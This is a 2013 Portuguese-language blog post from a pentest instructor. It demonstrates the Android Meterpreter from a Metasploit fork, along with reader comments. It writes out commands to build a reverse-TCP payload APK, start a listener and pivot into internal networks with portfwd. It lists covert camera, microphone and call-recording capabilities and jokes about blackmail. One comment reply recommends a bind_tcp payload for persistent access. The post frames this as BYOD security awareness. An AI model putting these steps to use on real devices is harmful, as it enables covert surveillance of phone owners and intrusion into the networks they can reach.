6 de junho de 2013

Meterpreter para Android



Há um tempo atrás, começou uma movimentação entre o pessoal que cuida de um fork do Metasploit, para desenvolver diversas funcionalidades que não existem na versão original mantida atualmente pela Rapid7. E dentre essas funcionalidades, está o Meterpreter Java portado para Android.

Já tem um bom tempo que estamos no aguardo de um Meterpreter para Linux, pois só havia uma versão para Windows, e algumas tentativas para o Linux, mas essa versão para Android, também é hiper bem vinda!

Para quem quiser dar uma olhada nessa nova funcionalidade, basta baixar essa versão do Metasploit, ou fazer a atualização de sua instalação com o comando ./msfupdate.

Logo abaixo, vocês podem ver o resultado desse comando atualizando o Metasploit com essa funcionalidade:

./msfupdate 
[*]
[*] Attempting to update the Metasploit Framework...
[*]

[...]
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Meterpreter.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Shell.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Stage.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_fs_file_expand_path_android.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java


Além disso, podemos visualizar se o mesmo já está instalado:

./msfpayload -l | grep -i android
    android/meterpreter/reverse_tcp                  Connect back stager, Run a meterpreter server on Android
    android/shell/reverse_tcp                        Connect back stager, Spawn a piped command shell (sh)



E para testá-lo, podemos criar um payload que permite termos uma conexão reversa:

./msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1.102 R > shell.apk


É interessante, que nesse caso específico, precisamos definir que o formato de saída do payload será RAW (por isso o parâmetro "R"), mas nesse caso em específico, apesar da saída ser RAW, o msfpayload cria um arquivo APK no formato específico do Android. Vejamos:

file shell.apk 
shell.apk: Zip archive data, at least v2.0 to extract

Depois de criado o arquivo, basta que instalemos o mesmo em um dispositivo Android, para vermos seu funcionamento. Mas antes de instalá-lo, vamos deixar nossa máquina escutando, à espera de uma conexão vinda do dispositivo Android:


./msfcli multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=0.0.0.0 E


Na imagem acima, podemos ver a conexão reversa sendo realizada e o resultado do comando sysinfo.

Com esse meterpreter, podemos tirar fotos a partir da câmera do dispositivo Android, tanto a dianteira quanto a traseira, se houver. Outras duas interessantes possibilidades, é acionar o microfone do dispositivo para gravação de áudio ambiente e de ligações, e também a utilização do terminal do dispositivo como se fosse um micro remoto. Obviamente que existem outras, e deixo vocês testarem por conta própria :-)


Ok, até aí, quando pensamos em usuários comuns, não vejo muitos problemas, a não ser, obviamente, a invasão de privacidade. Por exemplo, imagine você sendo chantageado, porque um cara descobriu que em sua última ida ao motel, não foi sua esposa que lhe acompanhou (ou vice-versa) ;-)

Mas pensemos em uma grande corporação, onde  o termo BYOD (Bring Your Own Device) está em voga e sendo implementado (sem os devidos controles de segurança)... O que será que pode ser descoberto gravando o áudio de um dispositivo utilizado por um executivo durante suas reuniões? E as fotos dos locais que ele frequenta? 

Mas ainda assim isso é pouco...

Acredito que os(as) senhores(as), que já utilizaram o Metasploit (principalmente quem já fez algum curso de pentest comigo) conheçam o termo pivoting, que basicamente é a utilização de uma sessão do meterpreter, sendo utilizada como rota para tráfego de rede. Podemos fazer isso com o portfw também, como descrito nessa documentação da Offensive Security - http://www.offensive-security.com/metasploit-unleashed/Portfwd . Executando o comando abaixo, realizamos isso:

meterpreter> portfwd add -l 80 -r 192.168.100.10 -p 80
[*] Local TCP relay created: 0.0.0.0:80 <-> 192.168.100.10:80


Com esse procedimento, qualquer dispositivo Android que tenha acesso à rede interna de uma companhia, e que tenha sido comprometido por um atacante, torna-se uma porta de entrada para todos os recursos acessíveis para o funcionário dono do mesmo. E se esse funcionário, mais uma vez, for um executivo? E se esse executivo deixa seus filhos utilizarem seu smartphone ou tablet para instalar joguinhos sem conhecer a procedência ou confiabilidade dos mesmos?

Durmam com isso na mente!

Essa é uma preocupação que eu mesmo tenho, já que atuo com forense. Podem ver minha palestra sobre forense em Android aqui:
Vídeo - http://hackproofing.blogspot.com.br/2013/05/video-de-palestra-androids-forensic.html
Slides - http://hackproofing.blogspot.com.br/2012/05/slides-androids-forensics-you-shot.html

Além disso, ainda atuo na frente de iniciativas de SI em projeto de implementação de BYOD em uma  grande corporação... Logo, esse assunto faz parte de minhas noites insones ;-)

3 comentários:

  1. Luiz eu tô vendo que a bola da vez é 'smartphone pentest' o foco nos aparelhos e palestra está em alta isso porque 'mobile account' em serviços de bancos vem crescendo junto com ataques focado no mesmo

    ResponderExcluir
  2. Professor , qual a maneira mais correta para se manter acesso em um meterpreter java/android? ja que o run persistence não funciona no mesmo

    ResponderExcluir
    Respostas
    1. Utilizar um payload do tipo bind_tcp ou que deixe uma determinada porta aberta. Assim poderá conectar-se quando quiser.

      Excluir